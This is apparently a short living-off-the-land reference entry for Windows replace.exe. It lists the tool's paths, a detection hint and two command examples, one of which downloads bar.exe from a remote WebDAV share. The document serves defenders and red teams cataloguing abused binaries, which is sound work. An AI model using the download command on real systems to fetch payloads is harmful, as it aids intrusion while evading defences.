Used to replace file with another file

Paths:

C:\Windows\System32\replace.exe
C:\Windows\SysWOW64\replace.exe

Detection: Replace.exe getting files from remote server

Copy

Copy file.cab to destination

replace.exe C:\Source\File.cab C:\Destination /A

Download

Download/Copy bar.exe to outdir

replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A